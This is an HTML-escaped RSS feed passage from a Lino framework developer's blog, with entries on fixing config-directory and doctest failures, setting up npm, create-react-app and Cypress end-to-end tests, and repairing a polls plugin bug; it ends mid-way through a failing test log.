&lt;p&gt;I probably fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3705"&gt;#3705&lt;/a&gt;. How to reproduce the problem locally:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ export LINO_CACHE_ROOT=/home/luc/lino_cache
$ go cosi1
$ pm prep
$ dt docs/specs/cosi/cosi1.rst
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The problem was because the cosi1 demo project has a local config dir. When the
cosi1 tests were run on travis (i.e. &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is set), Lino
forgot to add the cosi1 site’s config dir to its list of config dirs.  Another
problem was that these “non-local site config dirs” (for which cosi1 on travis is
the only example) must come before the plugin config dirs.&lt;/p&gt;
&lt;p&gt;The confdirs demo project now also has a local config directory. The
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#config-dirs" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Introduction to config  directories&lt;/span&gt;&lt;/a&gt; page now does some actual testing.   It uses a trick to
deactivate the &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt; when running the tests
for this page:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;LINO_CACHE_ROOT&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# disable for this doctest&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Curious to see whether my trick works. (Edit: yes, it works)&lt;/p&gt;
&lt;p&gt;I reviewed docs about &lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#xfile-config" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;config&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I discovered and fixed a bug in the template of the &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;status&lt;/span&gt;&lt;/code&gt; command
that caused it to never say &lt;cite&gt;[writeable]&lt;/cite&gt;.&lt;/p&gt;
&lt;section id="lino-repo-gets-red-when-book-fails"&gt;
&lt;h2&gt;lino repo gets red when book fails&lt;a class="headerlink" href="#lino-repo-gets-red-when-book-fails" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I probably fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3706"&gt;#3706&lt;/a&gt; and tidied up some duplicate functionality.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="running-e2e-tests-locally"&gt;
&lt;h2&gt;Running e2e tests locally&lt;a class="headerlink" href="#running-e2e-tests-locally" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I used &lt;a class="reference external" href="https://opensource.com/article/20/6/reactjs-tools"&gt;https://opensource.com/article/20/6/reactjs-tools&lt;/a&gt; as a base for the
following.&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ sudo apt install nodejs npm&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Worked.&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ cd ~/tmp
$ npm start&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;failed with:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="n"&gt;worked&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="n"&gt;ends&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt; &lt;span class="n"&gt;cli&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/bin/node&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/bin/npm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;start&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;npm&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mf"&gt;3.5.2&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="nd"&gt;@v8&lt;/span&gt;&lt;span class="mf"&gt;.10.0&lt;/span&gt;
&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ENOENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/home/luc/tmp/package.json&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I went to &lt;a class="reference external" href="https://create-react-app.dev/docs/getting-started#npx"&gt;https://create-react-app.dev/docs/getting-started#npx&lt;/a&gt;
and read that they now tell us to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;npx&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;react&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="n"&gt;my&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But this also fails saying “Command ‘npx’ not found …”.&lt;/p&gt;
&lt;p&gt;Yes, they say “(npx comes with npm 5.2+ and higher, see &lt;a class="reference external" href="https://gist.github.com/gaearon/4064d3c23a77c74a3614c498a8bb1c5f"&gt;instructions for older
npm versions&lt;/a&gt;)”.  I try
what’s there:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm install -g create-react-app
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This fails with:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;npm ERR! Error: EACCES: permission denied, access &amp;#39;/usr/local/lib&amp;#39;
npm ERR!  { Error: EACCES: permission denied, access &amp;#39;/usr/local/lib&amp;#39;
npm ERR!   errno: -13,
npm ERR!   code: &amp;#39;EACCES&amp;#39;,
npm ERR!   syscall: &amp;#39;access&amp;#39;,
npm ERR!   path: &amp;#39;/usr/local/lib&amp;#39; }
npm ERR!
npm ERR! Please try running this command again as root/Administrator.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Okay, let’s trust them:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo npm install -g create-react-app
/usr/local/bin/create-react-app -&amp;gt; /usr/local/lib/node_modules/create-react-app/index.js
/usr/local/lib
└─┬ create-react-app@3.4.1
  ├─┬ chalk@3.0.0
  │ ├─┬ ansi-styles@4.2.1
  │ │ ├── @types/color-name@1.1.1
  │ │ └─┬ color-convert@2.0.1
  │ │   └── color-name@1.1.4
  │ └─┬ supports-color@7.1.0
  │   └── has-flag@4.0.0
  ├── commander@4.1.0
  ├─┬ cross-spawn@7.0.1
  │ ├── path-key@3.1.1
  │ ├─┬ shebang-command@2.0.0
  │ │ └── shebang-regex@3.0.0
  │ └─┬ which@2.0.2
  │   └── isexe@2.0.0
  ├── envinfo@7.5.0
  ├─┬ fs-extra@8.1.0
  │ ├── graceful-fs@4.2.4
  │ ├── jsonfile@4.0.0
  │ └── universalify@0.1.2
  ├─┬ hyperquest@2.1.3
  │ ├── buffer-from@0.1.2
  │ ├─┬ duplexer2@0.0.2
  │ │ └─┬ readable-stream@1.1.14
  │ │   ├── isarray@0.0.1
  │ │   └── string_decoder@0.10.31
  │ └─┬ through2@0.6.5
  │   ├── readable-stream@1.0.34
  │   └── xtend@4.0.2
  ├─┬ inquirer@7.0.4
  │ ├─┬ ansi-escapes@4.3.1
  │ │ └── type-fest@0.11.0
  │ ├─┬ chalk@2.4.2
  │ │ ├─┬ ansi-styles@3.2.1
  │ │ │ └─┬ color-convert@1.9.3
  │ │ │   └── color-name@1.1.3
  │ │ └─┬ supports-color@5.5.0
  │ │   └── has-flag@3.0.0
  │ ├─┬ cli-cursor@3.1.0
  │ │ └─┬ restore-cursor@3.1.0
  │ │   ├─┬ onetime@5.1.0
  │ │   │ └── mimic-fn@2.1.0
  │ │   └── signal-exit@3.0.3
  │ ├── cli-width@2.2.1
  │ ├─┬ external-editor@3.1.0
  │ │ ├── chardet@0.7.0
  │ │ ├─┬ iconv-lite@0.4.24
  │ │ │ └── safer-buffer@2.1.2
  │ │ └─┬ tmp@0.0.33
  │ │   └── os-tmpdir@1.0.2
  │ ├─┬ figures@3.2.0
  │ │ └── escape-string-regexp@1.0.5
  │ ├── lodash@4.17.15
  │ ├── mute-stream@0.0.8
  │ ├── run-async@2.4.1
  │ ├─┬ rxjs@6.5.5
  │ │ └── tslib@1.13.0
  │ ├─┬ string-width@4.2.0
  │ │ ├── emoji-regex@8.0.0
  │ │ ├── is-fullwidth-code-point@3.0.0
  │ │ └─┬ strip-ansi@6.0.0
  │ │   └── ansi-regex@5.0.0
  │ ├─┬ strip-ansi@5.2.0
  │ │ └── ansi-regex@4.1.0
  │ └── through@2.3.8
  ├── semver@6.3.0
  ├─┬ tar-pack@3.4.1
  │ ├─┬ debug@2.6.9
  │ │ └── ms@2.0.0
  │ ├─┬ fstream@1.0.12
  │ │ ├── inherits@2.0.4
  │ │ └─┬ mkdirp@0.5.5
  │ │   └── minimist@1.2.5
  │ ├─┬ fstream-ignore@1.0.5
  │ │ └─┬ minimatch@3.0.4
  │ │   └─┬ brace-expansion@1.1.11
  │ │     ├── balanced-match@1.0.0
  │ │     └── concat-map@0.0.1
  │ ├─┬ once@1.4.0
  │ │ └── wrappy@1.0.2
  │ ├─┬ readable-stream@2.3.7
  │ │ ├── core-util-is@1.0.2
  │ │ ├── isarray@1.0.0
  │ │ ├── process-nextick-args@2.0.1
  │ │ ├── safe-buffer@5.1.2
  │ │ ├── string_decoder@1.1.1
  │ │ └── util-deprecate@1.0.2
  │ ├─┬ rimraf@2.7.1
  │ │ └─┬ glob@7.1.6
  │ │   ├── fs.realpath@1.0.0
  │ │   ├── inflight@1.0.6
  │ │   └── path-is-absolute@1.0.1
  │ ├─┬ tar@2.2.2
  │ │ └── block-stream@0.0.9
  │ └── uid-number@0.0.6
  ├── tmp@0.1.0
  └─┬ validate-npm-package-name@3.0.0
    └── builtins@1.0.3
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And here we go:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ create-react-app my-app
Creating a new React app in /home/luc/tmp/my-app.
You are using npm 3.5.2 so the project will be bootstrapped with an old unsupported version of tools.
Please update to npm 5 or higher for a better, fully supported experience.
Installing packages. This might take a couple of minutes.
Installing react, react-dom, and react-scripts...

&amp;gt; core-js@2.6.11 postinstall /home/luc/tmp/my-app/node_modules/core-js
&amp;gt; node -e &amp;quot;try{require(&amp;#39;./postinstall&amp;#39;)}catch(e){}&amp;quot;

my-app@0.1.0 /home/luc/tmp/my-app
├─┬ react@16.13.1
... (skipping about 1000 lines)
  ├── webpack-manifest-plugin@1.1.0
  └── whatwg-fetch@2.0.2

Success! Created my-app at /home/luc/tmp/my-app
Inside that directory, you can run several commands:

  npm start
    Starts the development server.

  npm run build
    Bundles the app into static files for production.

  npm test
    Starts the test runner.

  npm run eject
    Removes this tool and copies build dependencies, configuration files
    and scripts into the app directory. If you do this, you can’t go back!

We suggest that you begin by typing:

  cd my-app
  npm start

Happy hacking!

Note: the project was bootstrapped with an old unsupported version of tools.
Please update to Node &amp;gt;=8.10 and npm &amp;gt;=5 to get supported tools in new projects.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Welcome to React&lt;/p&gt;
&lt;p&gt;To get started, edit src/App.js and save to reload.&lt;/p&gt;
&lt;p&gt;Questions: Do I want to get a newer version of npm? And if yes, how can I get it?&lt;/p&gt;
&lt;p&gt;But all this was not necessary for Lino.  Tonis helped me to get started for
reproducing a series of failures in the book on travis.&lt;/p&gt;
&lt;p&gt;In the book repo we have a series of e2e tests to be run with cypress.  There is
no react in the book at the moment, but cypress doesn’t need react, we use it in
the book to test the extjs front end.  Installing npm and then cypress as done
by the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.json&lt;/span&gt;&lt;/code&gt; file works straightforward.&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_confirmation_callback.js&lt;/span&gt;&lt;/code&gt; file contains 3 tests.
I can run them interactively using:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;node_modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cypress&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cypress&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I must still make sure to run &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#management_command-runserver" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;runserver&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in a separate
terminal, and that I can run the avanti1 tests only when avanti1 is running, and
the min1 tests only when min1 is running.&lt;/p&gt;
&lt;p&gt;When running the tests, we observed the problem that the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;type()&lt;/span&gt;&lt;/code&gt; method on
a input field doesn’t work as expected.  Here is the source code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;cy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.l-InsertFormPanel input[name=&amp;quot;first_name&amp;quot;]&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Alfred&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;type()&lt;/span&gt;&lt;/code&gt; method does not insert all the characters, only the first “A”.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;type()&lt;/span&gt;&lt;/code&gt; method is documented &lt;a class="reference external" href="https://docs.cypress.io/api/commands/type.html"&gt;here&lt;/a&gt; It inserts the specified
text into the DOM element. Each keypress is delayed 10ms by default in order to
simulate how a very fast user types. Text passed to .type() may include special
character sequences.  Maybe this causes problem? So I tried to disable this
feature:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;cy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.l-InsertFormPanel input[name=&amp;quot;first_name&amp;quot;]&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Alfred&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;parseSpecialCharSequences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;No change.  I tried also with  &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;{delay:100}&lt;/span&gt;&lt;/code&gt; (i.e. simulate a slow typing with
100 instead of the default 10 ms delay after each key).  That seems to give
better results, but still not perfect.  Some part of the text is always eaten
away. Actually not even always because once I saw the test case pass
successfully.  But at the next run it failed again.&lt;/p&gt;
&lt;p&gt;I am afraid that the problem is because ExtJS probably handles DOM events
specially.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="answersbyresponserow-object-has-no-attribute-save-existing-instance"&gt;
&lt;h2&gt;‘AnswersByResponseRow’ object has no attribute ‘save_existing_instance’&lt;a class="headerlink" href="#answersbyresponserow-object-has-no-attribute-save-existing-instance" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3707"&gt;#3707&lt;/a&gt; in response to an exception on avanti production site. I
managed to reproduce their problem and then to fix it. Actually there were two
bugs (in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.polls.html#module-lino_xl.lib.polls" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.polls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Added a new method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.clear_cached_status()&lt;/span&gt;&lt;/code&gt;.
And &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;tickets.LinksByTicket.get_table_summary()&lt;/span&gt;&lt;/code&gt; now uses this method
instead of manually setting &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;_status&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;None&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fixed a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/polls.html#lino_xl.lib.polls.AnswersByResponseEditor" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AnswersByResponseEditor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; that caused
remarks to always be stored next to the first question of a poll.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It was not possible to edit the “My remark” field in
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/polls.html#lino_xl.lib.polls.AnswersByResponseEditor" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AnswersByResponseEditor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Lino then raised above error message.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This last bug was quite subtle. I finally “just” had to move the definition of
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;save_existing_instance()&lt;/span&gt;&lt;/code&gt;  from &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.TableRow&lt;/span&gt;&lt;/code&gt;.  En passant I did some py2to3 conversions
and translated two German captions.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0701.html</guid><pubDate>Wed, 01 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Monday, June 29, 2020</title><link>https://luc.lino-framework.org/blog/2020/0629.html</link><description>&lt;section id="monday-june-29-2020"&gt;
&lt;h1&gt;Monday, June 29, 2020&lt;a class="headerlink" href="#monday-june-29-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3695"&gt;#3695&lt;/a&gt;. Two final little changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/uploads.html#lino_xl.lib.uploads.MyExpiringUploads" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;MyExpiringUploads&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is now a dashboard item. In
avanti1 you can sign in as user Nathalie to have an example in your dashboard.
The demo data has two expiring upload files for client 114.  You can then
change the primary coach of that client and see that the expiring upload files
are now in the dashboard of that user, no longer in Nathalie’s dashboard.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Two new settings &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.expiring_start&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.expiring_end&lt;/span&gt;&lt;/code&gt;
because I guess that the current default values 0 and 365 don’t match their
needs.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last build of the book on travis
(&lt;a class="reference external" href="https://travis-ci.org/github/lino-framework/book/builds/702647361"&gt;1940&lt;/a&gt;)
is still failing:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/travis/build/lino-framework/book/docs/specs/cosi/cosi1.rst&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;312&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cosi1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_config_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;logo.jpg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;weasyprint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;#doctest: +ELLIPSIS&lt;/span&gt;
&lt;span class="n"&gt;Expected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="o"&gt;/.../&lt;/span&gt;&lt;span class="n"&gt;lino_book&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;projects&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cosi1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;weasyprint&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;logo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jpg&lt;/span&gt;
&lt;span class="n"&gt;Got&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
